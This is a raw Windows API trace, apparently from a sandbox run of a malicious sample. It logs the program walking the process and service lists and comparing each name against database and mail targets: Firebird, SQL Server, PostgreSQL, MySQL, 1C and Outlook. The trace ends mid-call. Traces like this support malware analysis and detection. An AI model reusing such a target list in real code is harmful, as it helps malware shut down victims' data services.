[0228.041] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0228.041] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0228.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0228.041] lstrlenW (lpString="Power") returned 5 [0228.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0228.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0228.042] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0228.042] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0228.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0228.042] lstrlenW (lpString="ProfSvc") returned 7 [0228.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0228.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0228.042] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0228.042] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0228.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0228.042] lstrlenW (lpString="RpcEptMapper") returned 12 [0228.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0228.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0228.043] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0228.043] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0228.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0228.043] lstrlenW (lpString="RpcSs") returned 5 [0228.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0228.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0228.043] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0228.043] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0228.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0228.043] lstrlenW (lpString="SamSs") returned 5 [0228.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0228.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0228.044] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0228.044] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0228.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0228.044] lstrlenW (lpString="Schedule") returned 8 [0228.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0228.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0228.044] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0228.044] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0228.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0228.044] lstrlenW (lpString="SENS") returned 4 [0228.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0228.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0228.044] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0228.044] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0228.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0228.044] lstrlenW (lpString="ShellHWDetection") returned 16 [0228.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0228.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0228.045] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0228.045] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0228.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0228.045] lstrlenW (lpString="Spooler") returned 7 [0228.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0228.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0228.045] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0228.045] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0228.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0228.045] lstrlenW (lpString="Themes") returned 6 [0228.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0228.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0228.046] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0228.046] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0228.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0228.046] lstrlenW (lpString="UxSms") returned 5 [0228.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0228.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0228.046] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0228.046] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0228.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0228.046] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x432a868 | out: hHeap=0x590000) returned 1 [0228.046] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0228.052] Process32FirstW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.053] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0228.054] lstrlenW (lpString="System") returned 6 [0228.054] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0228.054] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0228.054] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0228.054] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0228.054] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0228.054] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0228.054] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0228.054] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0228.055] lstrlenW (lpString="smss.exe") returned 8 [0228.055] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0228.055] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0228.055] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0228.055] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0228.056] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0228.056] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0228.056] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0228.056] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.057] lstrlenW (lpString="csrss.exe") returned 9 [0228.057] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0228.057] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0228.057] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0228.057] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0228.057] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0228.057] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0228.057] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0228.057] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0228.058] lstrlenW (lpString="wininit.exe") returned 11 [0228.058] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0228.058] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0228.059] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0228.059] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0228.059] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0228.059] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0228.059] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0228.059] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.060] lstrlenW (lpString="csrss.exe") returned 9 [0228.060] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0228.060] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0228.060] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0228.060] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0228.060] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0228.060] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0228.060] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0228.060] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0228.061] lstrlenW (lpString="winlogon.exe") returned 12 [0228.061] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0228.062] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0228.062] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0228.062] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0228.062] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0228.062] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0228.062] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0228.062] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0228.063] lstrlenW (lpString="services.exe") returned 12 [0228.063] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0228.063] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0228.063] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0228.063] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0228.063] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0228.063] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0228.063] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0228.063] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0228.064] lstrlenW (lpString="lsass.exe") returned 9 [0228.065] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0228.065] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0228.065] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0228.065] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0228.065] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0228.065] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0228.065] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0228.065] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0228.556] lstrlenW (lpString="lsm.exe") returned 7 [0228.556] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0228.556] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0228.556] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0228.556] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0228.556] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0228.556] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0228.556] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0228.556] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.557] lstrlenW (lpString="svchost.exe") returned 11 [0228.557] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0228.557] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0228.557] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0228.557] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0228.558] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0228.558] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0228.558] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0228.558] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.559] lstrlenW (lpString="svchost.exe") returned 11 [0228.559] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0228.559] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0228.559] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0228.559] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0228.559] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0228.559] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0228.559] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0228.559] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.560] lstrlenW (lpString="svchost.exe") returned 11 [0228.560] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0228.560] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0228.560] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0228.560] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0228.561] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0228.561] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0228.561] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0228.561] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.562] lstrlenW (lpString="svchost.exe") returned 11 [0228.562] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0228.562] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0228.562] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0228.562] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0228.562] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0228.562] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0228.562] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0228.562] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.563] lstrlenW (lpString="svchost.exe") returned 11 [0228.563] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0228.563] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0228.564] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0228.564] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0228.564] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0228.564] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0228.564] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0228.564] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0228.570] lstrlenW (lpString="audiodg.exe") returned 11 [0228.570] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0228.570] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0228.570] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0228.570] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0228.570] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0228.570] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0228.571] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0228.571] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.572] lstrlenW (lpString="svchost.exe") returned 11 [0228.572] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0228.572] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0228.572] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0228.572] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0228.572] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0228.573] lstrlenW (lpString="userinit.exe") returned 12 [0228.573] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0228.574] lstrlenW (lpString="explorer.exe") returned 12 [0228.574] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0228.575] lstrlenW (lpString="dwm.exe") returned 7 [0228.575] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.576] lstrlenW (lpString="svchost.exe") returned 11 [0228.576] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0228.577] lstrlenW (lpString="winhost.exe") returned 11 [0228.577] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0228.578] lstrlenW (lpString="spoolsv.exe") returned 11 [0228.578] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0228.579] lstrlenW (lpString="dllhost.exe") returned 11 [0228.579] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.580] lstrlenW (lpString="svchost.exe") returned 11 [0228.580] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0228.585] lstrlenW (lpString="taskhost.exe") returned 12 [0228.585] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0228.586] lstrlenW (lpString="reader_sl.exe") returned 13 [0228.586] Process32NextW (in: hSnapshot=0x38c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0228.587] CloseHandle (hObject=0x38c) returned 1 [0228.587] Sleep (dwMilliseconds=0x1f4) [0229.214] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e450 [0229.315] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0229.316] GetLastError () returned 0xea [0229.316] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xba0) returned 0x432a868 [0229.316] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432a868, cbBufSize=0xba0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432a868, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0229.318] GetLastError () returned 0xea [0229.318] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x432a868, Size=0xc26) returned 0x432a868 [0229.319] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432a868, cbBufSize=0xc26, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432a868, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0229.319] CloseServiceHandle (hSCObject=0x62e450) returned 1 [0229.320] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0229.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0229.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0229.320] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0229.320] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0229.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0229.320] lstrlenW 